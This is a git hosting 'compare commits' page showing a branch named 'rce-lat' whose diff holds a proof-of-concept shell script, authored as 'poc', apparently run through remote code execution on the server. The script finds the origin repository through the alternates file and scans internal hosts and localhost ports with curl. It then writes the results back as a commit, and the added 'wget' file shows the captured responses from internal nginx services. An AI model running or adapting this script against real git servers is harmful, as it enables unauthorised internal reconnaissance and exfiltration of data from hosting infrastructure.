Compare commits
No commits in common. "main" and "rce-lat" have entirely different histories.
@ -1,28 +0,0 @@
|
||||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||
case "$origin_objects" in
|
||||
/*) ;;
|
||||
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
||||
esac
|
||||
origin_git=${origin_objects%/objects}
|
||||
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||
out=$(
|
||||
echo "===wget==="
|
||||
for ipx in 172.18.0.1 172.18.0.3; do
|
||||
echo "HOST $ipx"
|
||||
for p in 80 443 3000 8080 3306; do
|
||||
code=$(curl -skm 2 -o /tmp/h4616w.b -w "%{http_code}" "http://$ipx:$p/" 2>/dev/null || echo 000)
|
||||
echo "HTTP $ipx:$p $code"
|
||||
head -c 140 /tmp/h4616w.b 2>/dev/null; echo
|
||||
done
|
||||
done
|
||||
echo "===local80==="
|
||||
curl -skm 2 -D - -o /tmp/h4616w.b http://127.0.0.1/ 2>/dev/null | head -16
|
||||
echo BODY; head -c 160 /tmp/h4616w.b 2>/dev/null; echo
|
||||
)
|
||||
output_blob=$(printf "%s\n" "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||
tree=$(printf "100644 blob %s\twget\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||
commit=$(printf "wget\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||
git --git-dir="$origin_git" update-ref refs/heads/rce-lat "$commit" || exit 7
|
||||
exit 0
|
||||
70
wget
Normal file
70
wget
Normal file
@ -0,0 +1,70 @@
|
||||
===wget===
|
||||
HOST 172.18.0.1
|
||||
HTTP 172.18.0.1:80 404
|
||||
<html>
|
||||
<head><title>404 Not Found</title></head>
|
||||
<body>
|
||||
<center><h1>404 Not Found</h1></center>
|
||||
<hr><center>nginx/1.24.0 (Ubuntu)</cente
|
||||
HTTP 172.18.0.1:443 400
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.1:3000 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.1:8080 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.1:3306 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HOST 172.18.0.3
|
||||
HTTP 172.18.0.3:80 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.3:443 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.3:3000 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.3:8080 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
HTTP 172.18.0.3:3306 000000
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<c
|
||||
===local80===
|
||||
BODY
|
||||
<html>
|
||||
<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>
|
||||
<body>
|
||||
<center><h1>400 Bad Request</h1></center>
|
||||
<center>The plain HTTP
|
||||
Loading…
x
Reference in New Issue
Block a user